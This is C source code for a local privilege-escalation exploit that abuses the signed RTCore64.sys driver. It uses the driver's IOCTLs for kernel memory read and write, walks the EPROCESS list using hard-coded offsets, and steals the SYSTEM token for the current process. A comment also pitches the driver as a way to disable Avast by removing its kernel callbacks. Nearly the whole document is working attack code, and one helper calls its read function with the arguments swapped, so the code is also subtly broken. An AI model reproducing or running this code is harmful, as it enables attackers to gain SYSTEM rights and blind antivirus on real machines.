// RTCore64.sys allows arbitrary read/write, driver has a valid certificate. // [ / ]: You can use this driver to make 'Avast' completely useless by removing the kernel callback. /* Before all, there is an important thing to note: there are some offsets, but these offsets may vary with different Windows winver versions: '0x448 = ActiveProcessLinks', '0x4B8 = Token', '0x440 = UniqueProcessId' /* --- RTCORE64.H --- */ typedef struct _RTCORE64_READ_MEMORY { BYTE pad0[ 8 ]; DWORD64 address; BYTE pad1[ 8 ]; DWORD readsize; DWORD value; BYTE pad2[ 16 ]; } RTCORE64_READ_MEMORY; typedef struct _RTCORE64_WRITE_MEMORY { BYTE pad0[ 8 ]; DWORD64 address; BYTE pad1[ 8 ]; DWORD readsize; DWORD value; BYTE pad2[ 16 ]; } RTCORE64_WRITE_MEMORY; DWORD ReadMemoryPrimitive( HANDLE hDevice, DWORD64 address, DWORD size ) { RTCORE64_READ_MEMORY read_memory = { 0 }; read_memory.address = address; read_memory.readsize = size; DWORD bytes = 0; // 0x80002048 = RTCORE64_READ_MEMORY_IOCTL // DeviceIoControl( hDevice, 0x80002048, &read_memory, sizeof( read_memory ), &read_memory, sizeof( read_memory ), &bytes, NULL ); return read_memory.value; } DWORD64 ReadMemoryDWORD64( HANDLE hDevice, DWORD64 address ) { return ( DWORD64 ) ReadMemoryPrimitive( hDevice, 4, address + 4 ) << 32 | ReadMemoryPrimitive( hDevice, 4, address ); } void WriteMemoryPrimitive( HANDLE hDevice, DWORD64 address, DWORD size, DWORD value ) { RTCORE64_WRITE_MEMORY write_memory = { 0 }; write_memory.address = address; write_memory.readsize = size; write_memory.value = value; DWORD bytes = 0; // 0x8000204C = RTCORE64_WRITE_MEMORY_IOCTL // DeviceIoControl( hDevice, 0x8000204C, &write_memory, sizeof( write_memory ), &write_memory, sizeof( write_memory ), &bytes, NULL ); } void WriteMemoryDWORD64( HANDLE hDevice, DWORD64 address, DWORD64 value ) { WriteMemoryPrimitive( hDevice, 4, address, value & 0xFFFFFFFF ); WriteMemoryPrimitive( hDevice, 4, address + 4, value >> 32 ); } /* --- MAIN.C --- */ void NT_AUTHORITY_SYSTEM( void ) { HANDLE hDevice = CreateFileA( "\\\\.\\RTCore64", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( hDevice == INVALID_HANDLE_VALUE || hDevice == NULL ) exit( 0 ); HMODULE ntoskrnl = LoadLibraryA( "ntoskrnl.exe" ); if ( ntoskrnl == NULL ) { CloseHandle( hDevice ); exit( 0 ); } DWORD64 PsInitialSystemProcessOffset = ( DWORD64 ) GetProcAddress( ntoskrnl, "PsInitialSystemProcess" ) - ( DWORD64 ) ntoskrnl; DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64( hDevice, GetNtoskrnlBaseAddress() + PsInitialSystemProcessOffset ); DWORD currentProcesID = GetCurrentProcessId(); DWORD64 currentProcessAddress = PsInitialSystemProcessAddress + 0x448; DWORD64 systemProcessToken = ReadMemoryDWORD64( hDevice, PsInitialSystemProcessAddress + 0x4B8 ) & ~15; do { DWORD64 processAddress = currentProcessAddress - 0x448; DWORD64 UniqueProcessId = ReadMemoryDWORD64( hDevice, processAddress + 0x440 ); if ( UniqueProcessId == ( DWORD64 ) ( currentProcesID ) ) break; currentProcessAddress = ReadMemoryDWORD64( hDevice, processAddress + 0x448 ); } while ( currentProcessAddress != PsInitialSystemProcessAddress + 0x448 ); currentProcessAddress -= 0x448; DWORD64 CurrentProcessTokenReferenceCounter = ReadMemoryDWORD64( hDevice, currentProcessAddress + 0x4B8 ) & 15; WriteMemoryDWORD64( hDevice, currentProcessAddress + 0x4B8, CurrentProcessTokenReferenceCounter | systemProcessToken ); CloseHandle( hDevice ); FreeLibrary( ntoskrnl ); }